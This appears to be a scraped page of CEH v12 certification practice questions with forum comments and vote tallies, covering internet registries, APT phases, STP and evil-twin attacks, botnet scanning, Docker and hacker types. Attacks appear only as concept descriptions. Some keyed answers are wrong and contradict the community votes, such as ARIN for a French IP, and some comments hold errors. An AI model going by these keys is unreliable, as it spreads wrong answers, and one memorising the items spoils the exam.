Option A (Webroot) is a security software company that provides antivirus and malware protection solutions for endpoints and networks.

Option C (WebSite-Watcher) is a website monitoring tool that allows users to track changes to web pages and receive notifications when updates occur.

Option D (WAFW00F) is a web application firewall detection tool that can be used to identify the type of firewall being used by a website or web application.

upvoted 14 times

✉️  Nicknp Most Recent 4 months, 3 weeks ago

Selected Answer: B

Option A Web-stat

upvoted 1 times

✉️  insanaint 10 months, 1 week ago

Selected Answer: B

B. Web-Stat

upvoted 1 times

✉️  teenwolf18 1 year, 5 months ago

Selected Answer: B

B. Web-Stat

upvoted 1 times

✉️  jeremy13 1 year, 5 months ago

Selected Answer: B

B. Web-Stat (Book V12 :P200)

Monitoring Website Traffic of the Target Company : web-stat

upvoted 3 times

Becky has been hired by a client from Dubai to perform a penetration test against one of their remote offices. Working from her location in Columbus, Ohio, Becky runs her usual reconnaissance scans to obtain basic information about their network. When analyzing the results of her Whois search, Becky notices that the IP was allocated to a location in Le Havre, France.

Which regional Internet registry should Becky go to for detailed information?

- A. ARIN
- B. LACNIC
- C. APNIC
- D. RIPE

Correct Answer: A

Community vote distribution

D (100%)

✉  FelipeOrtega  1 year, 4 months ago

Selected Answer: D

Regional Internet Registries (RIRs):

ARIN (American Registry for Internet Numbers)

AFRINIC (African Network Information Center)

APNIC (Asia Pacific Network Information Center)

RIPE (Réseaux IP Européens Network Coordination Centre)

LACNIC (Latin American and Caribbean Network Information Center)

upvoted 13 times

✉  eli117  6 days, 2 hours ago

Selected Answer: D

D. RIPE

The RIPE NCC (Réseaux IP Européens Network Coordination Centre) is one of five regional Internet registries (RIRs) that is responsible for allocating and managing IP addresses and autonomous system (AS) numbers in Europe, the Middle East, and parts of Central Asia.

Option A (ARIN) is responsible for allocating and managing IP addresses and AS numbers in North America.

Option B (LACNIC) is responsible for allocating and managing IP addresses and AS numbers in Latin America and the Caribbean.

Option C (APNIC) is responsible for allocating and managing IP addresses and AS numbers in the Asia-Pacific region.

upvoted 3 times

✉  insaniant 6 days, 2 hours ago

Selected Answer: D

"Becky notices that the IP was allocated to a location in Le Havre, France"

France = Europe = RIPE (Réseaux IP Européens Network Coordination Centre)

upvoted 2 times

✉  nickfun 6 days, 2 hours ago

Selected Answer: D

ARIN (American Registry for Internet Numbers): Covers North America.

LACNIC (Latin America and Caribbean Network Information Centre): Covers Latin America and parts of the Caribbean.

APNIC (Asia-Pacific Network Information Centre): Covers the Asia-Pacific region.

RIPE (Réseaux IP Européens) is the Regional Internet Registry (RIR) responsible for Europe, including France.

upvoted 2 times

✉  cybershortie 2 months, 2 weeks ago

D.

ARIN- American

LACNIC- Latin America

APNIC- AsiaPacific

RIPE- European

upvoted 1 times

✉  Nicknp 4 months, 3 weeks ago

Selected Answer: D

Option D RIPE

upvoted 1 times

✉  c1cd11e 5 months ago

What's going on with the answer A !?
I passed my exam and I found this question and i answered D.
I failed ?
upvoted 2 times

✉  kikour 5 months, 3 weeks ago

Selected Answer: D

RIPE
the E in RIPE stands for Europe, question says France so that's the ans
upvoted 1 times

✉  qtygbapjpesdayazko 8 months, 1 week ago

Selected Answer: D

D. RIPE
upvoted 2 times

✉  tineboy46 9 months, 1 week ago

D IS THE CORRECT

upvoted 1 times

✉  Atuwo 9 months, 3 weeks ago

Why is the answer A and not D?
upvoted 1 times

✉  Stoa 1 year, 1 month ago

doubt does anyone know where they get the official answers?
upvoted 2 times

✉  phojr 1 year, 1 month ago

Why is the answer A instead of D?
upvoted 2 times

✉  Nst6310 1 year, 2 months ago

RIPE NCC (RIPE Network Coordination Centre) is the regional Internet registry responsible for allocating and managing IP address space in Europe, the Middle East, and parts of Central Asia. It is the authority that maintains the registration and assignment of IP addresses and Autonomous System Numbers (ASNs) in the RIPE region.

Option D. RIPE is the correct answer for obtaining detailed information about the IP address allocated to the location in Le Havre, France.
upvoted 2 times

✉  bellabop 1 year, 5 months ago

Selected Answer: D

D. RIPE
upvoted 2 times

✉  jeremy13 1 year, 5 months ago

Selected Answer: D

D. RIPE
France = Europe = RIPE NCC (Europe, the Middle East and Central Asia)
upvoted 4 times

✉  jeremy13 1 year, 5 months ago

D. RIPE
France = RIPE
upvoted 2 times

Harry, a professional hacker, targets the IT infrastructure of an organization. After preparing for the attack, he attempts to enter the target network using techniques such as sending spear-phishing emails and exploiting vulnerabilities on publicly available servers. Using these techniques, he successfully deployed malware on the target system to establish an outbound connection.

What is the APT lifecycle phase that Harry is currently executing?

- A. Initial intrusion
- B. Persistence
- C. Cleanup
- D. Preparation

Correct Answer: A

Community vote distribution

A (76%) B (24%)

✉️  Vincent_Lu Highly Voted  1 year, 2 months ago

Selected Answer: A

Preparation
Initial Intrusion
Expansion
Persistence
Search and Exfiltration
Clean up
upvoted 6 times

✉️  eli117 Most Recent  6 days, 2 hours ago

Selected Answer: A

A. Initial intrusion

In this scenario, Harry, a professional hacker, is targeting the IT infrastructure of an organization. He is using techniques such as sending spear-phishing emails and exploiting vulnerabilities on publicly available servers to gain initial access to the target network. By successfully deploying malware on the target system, he establishes an outbound connection, allowing him to maintain access to the network.

The APT lifecycle consists of several phases, including initial intrusion, persistence, command and control, lateral movement, and data exfiltration. In the initial intrusion phase, the attacker gains access to the target network using various techniques, such as exploiting vulnerabilities or social engineering.

Therefore, the correct answer is A. Initial intrusion.

upvoted 2 times

✉️  sunce12 3 months, 1 week ago

Option A initial Instrusion
upvoted 1 times

✉️  Nicknp 4 months, 3 weeks ago

Selected Answer: A
Option A initial Instrusion
upvoted 1 times

✉️  insaniant 10 months, 1 week ago

Selected Answer: A
Initial Intrusion
upvoted 1 times

✉️  YonGCybeR 11 months ago

Refer to CEH v12 Module 7 Malware threats - APT Concepts page 649

Initial Intrusion

The next phase involves attempting to enter the target network. Common techniques used for an initial intrusion are sending spear-phishing emails and exploiting vulnerabilities on publicly available servers. Spear-phishing emails usually appear legitimate but they contain malicious links or attachments containing executable malware. These malicious links can redirect the target to the website where the target's web browser and software are compromised by the attacker using various exploit techniques. Sometimes, an attacker may also use social engineering techniques to gather information from the target. After obtaining information from the target, attackers use such information to launch further attacks on the target network. In this phase, malicious code or malware is deployed into the target system to initiate an outbound connection.

upvoted 3 times

✉️  IPconfig 11 months, 3 weeks ago

Initial Intrusion
Deployment of malware
Establishment of outbound connection
upvoted 1 times

✉  pawnpusher 1 year, 1 month ago

Selected Answer: B

Are yall actually reading the question?

Answer is B

This is the key part -- "By successfully deploying malware on the target system, he establishes an outbound connection, allowing him to maintain access to the network."

This is AFTER the initial intrusion he creates a persistent OUTBOUND connection.

upvoted 4 times

✉  I_Know_Everything_KY 7 months, 2 weeks ago

You're making up your own words there, and got the answer wrong as a result.

Nowhere was "maintain access" used in the question, and your own inference of "persistent" is also wrong.

Take your own advise: read the question!

upvoted 3 times

✉  sringan 11 months, 3 weeks ago

Wrong. Please check CEH v12 official book Module 7 Malware Threats page no: 966.

upvoted 3 times

✉  jeremy13 1 year, 5 months ago

Selected Answer: A

A. Initial intrusion

upvoted 3 times

✉  jeremy13 1 year, 5 months ago

CEH Book V12 Module 07 Page 966

from book :

2. Initial Intrusion

Common techniques used for an initial intrusion are sending spear-phishing emails and exploiting vulnerabilities on publicly available servers.

upvoted 4 times

✉  qtygbapjpesdayazko 6 months, 3 weeks ago

This is the way

upvoted 2 times

Robin, a professional hacker, targeted an organization's network to sniff all the traffic. During this process, Robin plugged in a rogue switch to an unused port in the LAN with a priority lower than any other switch in the network so that he could make it a root bridge that will later allow him to sniff all the traffic in the network.

What is the attack performed by Robin in the above scenario?

- A. ARP spoofing attack
- B. STP attack
- C. DNS poisoning attack
- D. VLAN hopping attack

Correct Answer: **B**

Community vote distribution

B (100%)

✉  eli117 Highly Voted 1 year, 5 months ago

Selected Answer: B

B. STP attack (Spanning Tree Protocol attack)

This is a type of STP attack, which manipulates the Spanning Tree Protocol to create a loop in the network topology, allowing the attacker to intercept and inspect network traffic.

upvoted 8 times

✉  desertlotus1211 Most Recent 5 months, 3 weeks ago

I have no choice but to believe Answer B is correct....HOWEVER, this is not an 'attack'.

She didn't create an STP loop, She added a device to claim root bridge status.

upvoted 1 times

✉  insaniumt 10 months, 1 week ago

Selected Answer: B

B. STP attack

upvoted 1 times

✉  sringan 11 months, 3 weeks ago

Selected Answer: B

Confirmed in ceh v12 official book page no: 1282

upvoted 1 times

✉  YonGCybeR 11 months ago

page no 864 isn't?

upvoted 1 times

✉  jeremy13 1 year, 5 months ago

Selected Answer: B

B. STP attack

upvoted 1 times

An attacker utilizes a Wi-Fi Pineapple to run an access point with a legitimate-looking SSID for a nearby business in order to capture the wireless password.

What kind of attack is this?

- A. MAC spoofing attack
- B. War driving attack
- C. Phishing attack
- D. Evil-twin attack

Correct Answer: D

Community vote distribution

D (88%) 13%

✉️  eli117 Highly Voted 1 year, 5 months ago

Selected Answer: D

D. Evil-twin attack

In an evil-twin attack, an attacker sets up a fake wireless access point with a legitimate-looking SSID (Service Set Identifier) to trick users into connecting to the attacker's network instead of the legitimate one. The attacker can then intercept and capture sensitive information, such as passwords, entered by users on the fake network. The Wi-Fi Pineapple is a popular tool used for conducting such attacks.

upvoted 5 times

✉️  Nicknp Most Recent 4 months, 3 weeks ago

Selected Answer: B

Option B War Driving Attack

upvoted 1 times

✉️  insanaint 10 months, 1 week ago

D. Evil-twin attack

upvoted 1 times

✉️  sringan 11 months, 3 weeks ago

Selected Answer: D

Correct. Reference: CEH v12 Official book Pg no: 2484

upvoted 1 times

✉️  fuuuuuu0641 1 year, 3 months ago

D. Evil-twin attack

upvoted 1 times

✉️  jeremy13 1 year, 5 months ago

Selected Answer: D

D. Evil-twin attack

upvoted 1 times

CyberTech Inc. recently experienced SQL injection attacks on its official website. The company appointed Bob, a security professional, to build and incorporate defensive strategies against such attacks. Bob adopted a practice whereby only a list of entities such as the data type, range, size, and value, which have been approved for secured access, is accepted.

What is the defensive technique employed by Bob in the above scenario?

- A. Whitelist validation
- B. Output encoding
- C. Blacklist validation
- D. Enforce least privileges

Correct Answer: A

Community vote distribution

A (100%)

✉ tc5899 Highly Voted 1 year, 5 months ago

A. Whitelist validation

In whitelist validation, only the inputs that have been explicitly allowed are accepted, and all other inputs are rejected. This technique involves specifying a list of entities such as the data type, range, size, and value, which have been approved for secure access. Any input that is not on the list is rejected, preventing attacks such as SQL injection, where an attacker attempts to inject malicious code into an application by exploiting vulnerabilities in user input fields.

upvoted 5 times

✉ Nicknp Most Recent 4 months, 3 weeks ago

Selected Answer: A

Option A whitelist validation

upvoted 1 times

✉ I_Know_Everything_KY 7 months, 2 weeks ago

Selected Answer: A

He has created an explicit list of allowable types: a whitelist.

upvoted 1 times

✉ insaniunt 10 months, 1 week ago

Selected Answer: A

A. Whitelist validation

upvoted 1 times

✉ HeyacedoGomez 1 year, 5 months ago

Selected Answer: A

Whitelist is the correct answer but allowlist is more appropriate

upvoted 1 times

✉ eli117 1 year, 5 months ago

Selected Answer: A

A. Whitelist validation

In whitelist validation, only the inputs that have been explicitly allowed are accepted, and all other inputs are rejected. This technique involves specifying a list of entities such as the data type, range, size, and value, which have been approved for secure access. Any input that is not on the list is rejected, preventing attacks such as SQL injection, where an attacker attempts to inject malicious code into an application by exploiting vulnerabilities in user input fields.

upvoted 3 times

Joe works as an IT administrator in an organization and has recently set up a cloud computing service for the organization. To implement this service, he reached out to a telecom company for providing Internet connectivity and transport services between the organization and the cloud service provider.

In the NIST cloud deployment reference architecture, under which category does the telecom company fall in the above scenario?

- A. Cloud consumer
- B. Cloud broker
- C. Cloud auditor
- D. Cloud carrier

Correct Answer: D

Community vote distribution

D (92%) 8%

✉  eli117  1 year, 5 months ago

Selected Answer: D

D. Cloud carrier.

The NIST cloud deployment reference architecture consists of five categories: cloud consumer, cloud provider, cloud carrier, cloud auditor, and cloud broker. The cloud carrier category includes the entities that provide network connectivity and transport services, enabling customers to connect to cloud providers' services. In the given scenario, the telecom company provides Internet connectivity and transport services between the organization and the cloud service provider, making it a cloud carrier.

upvoted 8 times

✉  Nicknp  4 months, 2 weeks ago

Selected Answer: C

Option C cloud auditor

upvoted 1 times

✉  insanaint 10 months, 1 week ago

Selected Answer: D

D. Cloud carrier

upvoted 1 times

✉  jeremy13 1 year, 5 months ago

Selected Answer: D

D. Cloud carrier

upvoted 3 times

✉  jeremy13 1 year, 5 months ago

CEH Book V12 Module 19 Page 3059

upvoted 7 times

Bobby, an attacker, targeted a user and decided to hijack and intercept all their wireless communications. He installed a fake communication tower between two authentic endpoints to mislead the victim. Bobby used this virtual tower to interrupt the data transmission between the user and real tower, attempting to hijack an active session. Upon receiving the user's request, Bobby manipulated the traffic with the virtual tower and redirected the victim to a malicious website.

What is the attack performed by Bobby in the above scenario?

- A. aLTEr attack
- B. Jamming signal attack
- C. Wardriving
- D. KRACK attack

Correct Answer: A

Community vote distribution

A (100%)

✉️  jeremy13 Highly Voted 1 year, 5 months ago

Selected Answer: A

A. aLTEr Attack
BOOK V12 Module 16 P2425

The aLTEr attack is usually performed on LTE devices that encrypt user data in the AES counter (AES-CTR) mode, which provides no integrity protection. To perform this attack, the attacker installs a virtual (fake) communication tower between two authentic endpoints to mislead the victim. The attacker uses this virtual tower to interrupt the data transmission between the user and real tower, attempting to hijack an active session. Upon receiving the user's request, the attacker manipulates the traffic with the virtual tower and redirects the victim to malicious websites.

upvoted 10 times

✉️  I_Know_Everything_KY 7 months, 2 weeks ago

"Usually".
LOL.
upvoted 2 times

✉️  eli117 Highly Voted 1 year, 5 months ago

Selected Answer: A

A. aLTEr attack.

Bobby installed a fake communication tower between two authentic endpoints to intercept and hijack all the wireless communications of a user. This is an example of an aLTEr (Advanced LTE Recovery) attack, also known as an IMSI (International Mobile Subscriber Identity) catcher or a fake cell tower attack. In this attack, the attacker sets up a rogue base station that mimics a legitimate cell tower to trick mobile devices into connecting to it. Once connected, the attacker can intercept, monitor, and manipulate the traffic between the device and the legitimate cell tower.

upvoted 5 times

✉️  I_Know_Everything_KY Most Recent 7 months, 2 weeks ago

Answer is A, but this is a purely theoretical attack with near-zero chance of being pulled off. HSTS makes it 100% impossible.

Why EC-Council insists on glorifying threat-p0rn is beyond me.

upvoted 3 times

✉️  qtygbapjpesdayazko 7 months, 2 weeks ago

Its A, and you are right.
upvoted 2 times

✉️  insanaint 10 months, 1 week ago

A. aLTEr attack
upvoted 1 times

John, a professional hacker, targeted an organization that uses LDAP for accessing distributed directory services. He used an automated tool to anonymously query the LDAP service for sensitive information such as usernames, addresses, departmental details, and server names to launch further attacks on the target organization.

What is the tool employed by John to gather information from the LDAP service?

- A. ike-scan
- B. Zabasearch
- C. JXplorer
- D. EarthExplorer

Correct Answer: C

Community vote distribution

C (100%)

✉  Stoa [Highly Voted] 1 year, 1 month ago

Selected Answer: C

The correct one is C

- A. ike-scan -> Tool to identify computers with IKE (Internet Key Interchange)
- B. Zabasearch -> is a website that searches and collects disparate information about residents of the United States.
- C. JXplorer -> is a cross-platform LDAP browser and editor.
- D. EarthExplorer -> queries and requests satellite imagery, aerial photographs and map products through the U.S. Geological Survey.
upvoted 12 times

✉  Nicknp [Most Recent] 4 months, 2 weeks ago

Selected Answer: C

Option C JXplorer

upvoted 1 times

✉  insaniant 10 months, 1 week ago

Selected Answer: C

C. JXplorer

upvoted 1 times

✉  Vincent_Lu 1 year, 3 months ago

C. Jxplorer

upvoted 2 times

✉  jeremy13 1 year, 5 months ago

Selected Answer: C

C. Jxplorer

JXplorer is a LDAP browser and editor. It is a standards compliant general purpose LDAP client that can be used to search, read and edit any standard LDAP directory, or any directory service with an LDAP or DSML interface.

upvoted 1 times

✉  eli117 1 year, 5 months ago

Selected Answer: C

C. JXplorer

JXplorer is a Java-based LDAP client that provides an easy-to-use interface for browsing LDAP directories, performing searches, and managing directory data.

upvoted 2 times

Annie, a cloud security engineer, uses the Docker architecture to employ a client/server model in the application she is working on. She utilizes a component that can process API requests and handle various Docker objects, such as containers, volumes, images, and networks. What is the component of the Docker architecture used by Annie in the above scenario?

- A. Docker objects
- B. Docker daemon
- C. Docker client
- D. Docker registries

Correct Answer: B

Community vote distribution

B (83%)

C (17%)

✉  sausageman Highly Voted 1 year, 5 months ago

Selected Answer: B

Answer is B.

Official Guide v12 page 1950:

"Docker Daemon: The Docker daemon (dockerd) processes the API requests and handles various Docker objects, such as containers, volumes, images, and networks."

upvoted 9 times

✉  Nicknp Most Recent 4 months, 2 weeks ago

Selected Answer: B

Option B docker daemon

upvoted 1 times

✉  DRVision 9 months ago

Selected Answer: B

pg 3088 study guide

"Docker Daemon: The Docker daemon (dockerd) processes the API requests and handles various Docker objects, such as containers, volumes, images, and networks.

Docker Client: It is the primary interface through which users communicate with Docker. When commands such as docker run are initiated, the client passes related commands to dock"

upvoted 1 times

✉  insaniumt 10 months, 1 week ago

Selected Answer: B

B. Docker daemon

upvoted 1 times

✉  sringan 11 months, 3 weeks ago

Selected Answer: B

Reference: CEH v12 Official book Pg no: 3088

upvoted 2 times

✉  Vincent_Lu 1 year, 3 months ago

B. Docker daemon

<https://docs.docker.com/get-started/overview/>

The Docker daemon (dockerd) listens for Docker API requests and manages Docker objects such as images, containers, networks, and volumes.

upvoted 2 times

✉  sTaTiK 1 year, 5 months ago

Selected Answer: B

Anser is B. By GPT-4 and books with ansers!

upvoted 2 times

✉  Chipless 1 year, 5 months ago

Selected Answer: B

The Docker daemon (dockerd) processes the API requests and handles various Docker objects, such as containers, volumes, images, and networks.

SOURCE: CEH v12 eBook Module 19 pg 1950

upvoted 3 times

✉  jeremy13 1 year, 5 months ago

B. Docker daemon

like the question : 312-50v11 question 130

The Docker daemon (dockerd) listens for Docker API requests and manages Docker objects such as images, containers, networks, and volumes. A daemon can also communicate with other daemons to manage Docker services.

<https://docs.docker.com/get-started/overview/#the-docker-daemon>

upvoted 4 times

✉️  jeremy13 1 year, 5 months ago

CEH Book V12Module 19 Page 3088

from book :

Docker Daemon: The Docker daemon (dockerd) processes the API requests and handles various Docker objects, such as containers, volumes, images, and networks.

upvoted 2 times

✉️  eli117 1 year, 5 months ago

Selected Answer: C

C. Docker client

The Docker client is a component of the Docker architecture that allows users to interact with the Docker daemon through the Docker API. It can process API requests and handle various Docker objects such as containers, volumes, images, and networks. The Docker client can be used through a command-line interface (CLI) or a graphical user interface (GUI).

upvoted 4 times

✉️  ptrckm 1 year, 1 month ago

The Docker client creates API requests, however, they are processed by the Docker Daemon. Thus, "B. Docker Daemon" is the correct answer.

upvoted 2 times

Bob, an attacker, has managed to access a target IoT device. He employed an online tool to gather information related to the model of the IoT device and the certifications granted to it.

Which of the following tools did Bob employ to gather the above information?

- A. FCC ID search
- B. Google image search
- C. search.com
- D. EarthExplorer

Correct Answer: A

Community vote distribution

A (100%)

✉️  eli117 Highly Voted 1 year, 5 months ago

Selected Answer: A

A. FCC ID search

Explanation:

Bob employed the FCC ID search tool to gather information related to the model of the IoT device and the certifications granted to it. The FCC ID is a unique identifier assigned by the Federal Communications Commission (FCC) to identify wireless products in the market. The FCC ID search tool helps in finding information related to the device's specifications, test reports, and other documentation related to its certification.

upvoted 10 times

✉️  insaniunt Most Recent 10 months, 1 week ago

Selected Answer: A

A. FCC ID search

All electrical or electronic equipment produced or sold in the United States must be registered with the FCC and assigned a categorized number called FCCID. This number can be searched to identify devices whose manufacturer or model is not evident.

upvoted 1 times

✉️  Vincent_Lu 1 year, 3 months ago

A. FCC ID search

upvoted 2 times

✉️  jeremy13 1 year, 5 months ago

Selected Answer: A

A. FCC ID search

upvoted 2 times

What piece of hardware on a computer's motherboard generates encryption keys and only releases a part of the key so that decrypting a disk on a new piece of hardware is not possible?

- A. CPU
- B. UEFI
- C. GPU
- D. TPM

Correct Answer: D

Community vote distribution

D (100%)

✉️  eli117 Highly Voted 1 year, 5 months ago

Selected Answer: D

D. TPM (Trusted Platform Module) is a hardware component on a computer's motherboard that generates and stores encryption keys, providing additional security measures.

upvoted 8 times

✉️  _A_R_D_N_23 5 months, 3 weeks ago

This is the way!

upvoted 1 times

✉️  Nicknp Most Recent 4 months, 2 weeks ago

Selected Answer: D

Option D TPM

upvoted 1 times

✉️  insanaint 10 months, 1 week ago

Selected Answer: D

D. TPM

upvoted 1 times

✉️  iitc_duo 12 months ago

TPM works by creating encryption codes. Half of the encryption key is stored on the TPM chip and the other half is stored on the computer hard drive, so if the TPM chip is removed, the computer will not boot. Firmware such as Microsoft's BitLocker requires TPM.

upvoted 2 times

✉️  jeremy13 1 year, 5 months ago

Selected Answer: D

D. TPM

upvoted 2 times

Gilbert, a web developer, uses a centralized web API to reduce complexity and increase the integrity of updating and changing data. For this purpose, he uses a web service that uses HTTP methods such as PUT, POST, GET, and DELETE and can improve the overall performance, visibility, scalability, reliability, and portability of an application.

What is the type of web-service API mentioned in the above scenario?

- A. RESTful API
- B. JSON-RPC
- C. SOAP API
- D. REST API

Correct Answer: A

Community vote distribution

A (100%)

✉  Nst6310 Highly Voted 1 year, 2 months ago

A RESTful API (Representational State Transfer) is a type of web-service API that uses HTTP methods such as PUT, POST, GET, and DELETE to perform operations on resources. It is designed to be simple, stateless, and scalable, making it suitable for modern web applications. RESTful APIs use standard HTTP status codes and are commonly used for building web services that can be easily integrated with other systems.

upvoted 7 times

✉  broman Most Recent 1 week, 1 day ago

FYI: There's no functional difference between the two terms. Saying an API is "RESTful" just means that it adheres to the REST principles properly. In practice, both terms are used interchangeably to refer to the same type of API. If someone says "REST API" or "RESTful API," they are generally referring to the same concept: an API designed according to REST architectural principles.

upvoted 1 times

✉  Nicknp 4 months, 2 weeks ago

Selected Answer: A
option A RESTful API
upvoted 1 times

✉  insanaint 10 months, 1 week ago

Selected Answer: A
A. RESTful API
upvoted 1 times

✉  sringan 11 months, 3 weeks ago

Selected Answer: A
Reference: CEH v12 Official book Pg no: 2089
upvoted 1 times

✉  jeremy13 1 year, 5 months ago

Selected Answer: A
A. RESTful API
upvoted 1 times

✉  eli117 1 year, 5 months ago

Selected Answer: A
A. RESTful API

Explanation: The description of a web service that uses HTTP methods such as PUT, POST, GET, and DELETE, and is designed to reduce complexity and increase the integrity of updating and changing data, matches the characteristics of a RESTful API. REST (Representational State Transfer) is a popular architectural style used in creating web services that operate over HTTP.

upvoted 3 times

To create a botnet, the attacker can use several techniques to scan vulnerable machines. The attacker first collects information about a large number of vulnerable machines to create a list. Subsequently, they infect the machines. The list is divided by assigning half of the list to the newly compromised machines. The scanning process runs simultaneously. This technique ensures the spreading and installation of malicious code in little time.

Which technique is discussed here?

- A. Subnet scanning technique
- B. Permutation scanning technique
- C. Hit-list scanning technique.
- D. Topological scanning technique

Correct Answer: D

Community vote distribution

C (100%)

✉️  jeremy13 Highly Voted 1 year, 5 months ago

C - Hit-List scanning technique

312-50v11- questions 147

Module 10 P1429 V12

*Hit-list Scanning

Through scanning, an attacker first collects a list of potentially vulnerable machines and then creates a zombie army. Subsequently, the attacker scans the list to find a vulnerable machine. On finding one, the attacker installs malicious code on it and divides the list in half. The attacker continues to scan one half, whereas the other half is scanned by the newly compromised machine. This process keeps repeating, causing the number of compromised machines to increase exponentially. This technique ensures the installation of malicious code on all the potentially vulnerable machines in the hit list within a short time.

*Topological Scanning

This technique uses the information obtained from an infected machine to find new vulnerable machines. An infected host checks for URLs in the hard drive of a machine that it wants to infect. Subsequently, it shortlists URLs and targets, and it checks their vulnerability. This technique yields accurate results, and its performance is similar to that of the hit-list scanning technique.

upvoted 13 times

✉️  Nicknp Most Recent 4 months, 2 weeks ago

Selected Answer: C

Option C hitlist scanning technique

upvoted 1 times

✉️  SumanSantro 9 months, 1 week ago

Selected Answer: C

Option C. Hit-list scanning technique. is the correct answer

upvoted 1 times

✉️  insaniant 10 months, 1 week ago

Selected Answer: C

C. Hit-list scanning technique

upvoted 1 times

✉️  eronmelo 1 year ago

C. Hit-List Scanning

Ebook CEHv12 Module 10 Page 1429

upvoted 1 times

✉️  Benignhack 1 year, 1 month ago

Selected Answer: C

c, hit list scanning

upvoted 1 times

✉️  ZacharyDriver 1 year, 2 months ago

Selected Answer: C

C. Hit-list Scanning Technique

upvoted 1 times

✉️  Henrikrp 1 year, 3 months ago

Selected Answer: C

C. Hit-list scanning technique.
upvoted 1 times

✉️👤 jeremy13 1 year, 5 months ago

Selected Answer: C

C. Hit-list scanning technique.
upvoted 1 times

✉️👤 sTaTiK 1 year, 5 months ago

Selected Answer: C

Answer is Hitlist:
The technique discussed here is the Hit-list scanning technique.

In the Hit-list scanning technique, the attacker creates a list of potential targets that are vulnerable to a specific exploit or attack. The attacker then uses this list to scan and infect the vulnerable machines. Once a machine is compromised, it can be used to scan for and infect other vulnerable machines on the list. The list is then divided among the compromised machines, and the scanning process continues until all the machines on the list are infected.

This technique is often used to create botnets, which are networks of infected machines that can be controlled by the attacker. Botnets can be used for various purposes, such as launching DDoS attacks, stealing sensitive information, or distributing spam or malware. The Hit-list scanning technique allows the attacker to quickly infect a large number of machines and create a powerful botnet.

upvoted 4 times

✉️👤 Chipless 1 year, 5 months ago

Selected Answer: C

Hit-list Scanning
SOURCE: CEH v12 eBook Module 10 pg 954
upvoted 3 times

✉️👤 eli117 1 year, 5 months ago

Selected Answer: C

C. Hit-list scanning technique.

Explanation: The technique described in the scenario is known as the hit-list scanning technique, where an attacker compiles a list of potential targets, and then targets them by dividing the list and assigning each part to a different infected machine. This allows for simultaneous scanning, increasing the spread of the malicious code.

upvoted 2 times

Nicolas just found a vulnerability on a public-facing system that is considered a zero-day vulnerability. He sent an email to the owner of the public system describing the problem and how the owner can protect themselves from that vulnerability. He also sent an email to Microsoft informing them of the problem that their systems are exposed to.

What type of hacker is Nicolas?

- A. Black hat
- B. White hat
- C. Gray hat
- D. Red hat

Correct Answer: **B**

Community vote distribution

C (62%) B (38%)

✉  **SailOn**  1 year ago

From CEH v12 book, the defining feature of a white hat is PERMISSION. That's Chapter 1, and the whole point of the entire CEH course, PERMISSION. If you do not have it, you are not a white hat.

So answer is C. GRAY HAT
upvoted 18 times

✉  **qtygbapjpesdayazko** 6 months, 2 weeks ago

This is true!
upvoted 1 times

✉  **qtygbapjpesdayazko** 6 months, 2 weeks ago

White Hats, Keyword "They have permission from the system owner."

White Hats: White hats or penetration testers are individuals who use their hacking skills for defensive purposes. These days, almost every organization has security analysts who are knowledgeable about hacking countermeasures, which can secure its network and information systems against malicious attacks. They have permission from the system owner.

Gray Hats: Gray hats are the individuals who work both offensively and defensively at various times. Gray hats might help hackers to find various vulnerabilities in a system or network and, at the same time, help vendors to improve products (software or hardware) by checking limitations and making them more secure.

upvoted 1 times

✉  **f257c4e**  4 months ago

I was misled by the good intentions of Nicolas, but he doesn't have permission.
upvoted 2 times

✉  **qtygbapjpesdayazko** 6 months, 2 weeks ago

Selected Answer: C

White Hats, Keyword "They have permission from the system owner."
upvoted 1 times

✉  **0ea2cf3** 7 months ago

White hat hacker because even though Nicolas did not have permission, it was a public-facing website that implied that Nicholas did not have to do anything nefarious to access the site.
upvoted 3 times

✉  **Theclassicman** 9 months ago

Does not say they got permission first to scan. So I would consider them a gray hat hacker.
upvoted 2 times

✉  **Hapipass** 9 months ago

Selected Answer: C

C. Gray Hat
White Hat (with Permission and good intention) + Black Hat (without permission and bad intention) = Gray Hat (with/without permission and good/bad intention)
upvoted 2 times

✉  **Folken** 9 months, 1 week ago

Selected Answer: C

Gray Hats : no permission
upvoted 1 times

✉ **insaniunt** 10 months, 1 week ago

Selected Answer: C

pag 39 from CEH v12 book:

White Hats

Individuals who use their professed hacking skills for defensive purposes and are also known as security analysts. They have permission from the system owner

Gray Hats

Individuals who work both offensively and defensively at various times

upvoted 1 times

✉ **insaniunt** 10 months, 1 week ago

Selected Answer: C

See page 39 from CEH v12 book.

White Hats:

Individuals who use their professed hacking skills for defensive purposes and are also known as security analysts. They have permission from the system owner (end Nicolas dont have)

So, Nicolas are:

C. Gray Hats

Individuals who work both offensively and defensively at various times

upvoted 2 times

✉ **Winson** 10 months, 2 weeks ago

Selected Answer: C

without the knowledge of system owner

upvoted 1 times

✉ **YourFriendlyNeighborhoodSpider** 10 months, 3 weeks ago

Selected Answer: C

ChatGPT answer:

Answer: C. Gray hat

Gray hat (option C): Gray hat hackers fall somewhere in between black hat and white hat hackers. They may discover and exploit vulnerabilities without explicit permission but do so with the intent of notifying the affected parties and helping them secure their systems.

upvoted 1 times

✉ **JacksonTrite** 11 months ago

Selected Answer: B

It's a "public facing system". In the USA at least, things that are public often do not require any special permissions...

upvoted 2 times

✉ **I_Know_Everything_KY** 7 months, 2 weeks ago

This is absolutely and totally wrong. I suggest you check out federal laws concerning accessing computer systems without the knowledge or permission of the owner. Its wrong for most parts of the world.

upvoted 1 times

✉ **sringan** 11 months, 3 weeks ago

Selected Answer: B

Here the person is not doing any malicious activities, or trying to exploit that vulnerability. He just informs about the flaw and doesn't ask any rewards. He's showing the vulnerability to microsoft so that they might be able to suggest a fix. No evil intentions. So he's a whitehat hacker.

upvoted 3 times

✉ **iitc_duo** 12 months ago

Gray hat hackers often look for vulnerabilities in a system without the owner's permission or knowledge. If issues are found, they report them to the owner, sometimes requesting a small fee to fix the problem.

Some gray hat hackers like to believe they are doing something good for companies by hacking their websites and invading their networks "without permission". Still, company owners rarely appreciate unauthorized forays into their business information infrastructure.

upvoted 1 times

✉ **kunnu** 1 year ago

Answer is C : Gray Hat. here hacker didn't ask the permission to find the zero day vulnerability neither ask Microsoft about it. No where mentioned any synonym related to Permission in statements.

upvoted 1 times

✉ **eronmelo** 1 year ago

C. Gray Hat: "Gray Hats: Gray hats are the individuals who work both offensively and defensively at various times. Gray hats might help hackers to find various vulnerabilities in a system or network and, at the same time, help vendors to improve products (software or hardware) by checking limitations and making them more secure."

Ebook CEHv12 Module 01 Page 40

upvoted 1 times

✉️ alt1noreply 1 year ago

Selected Answer: C

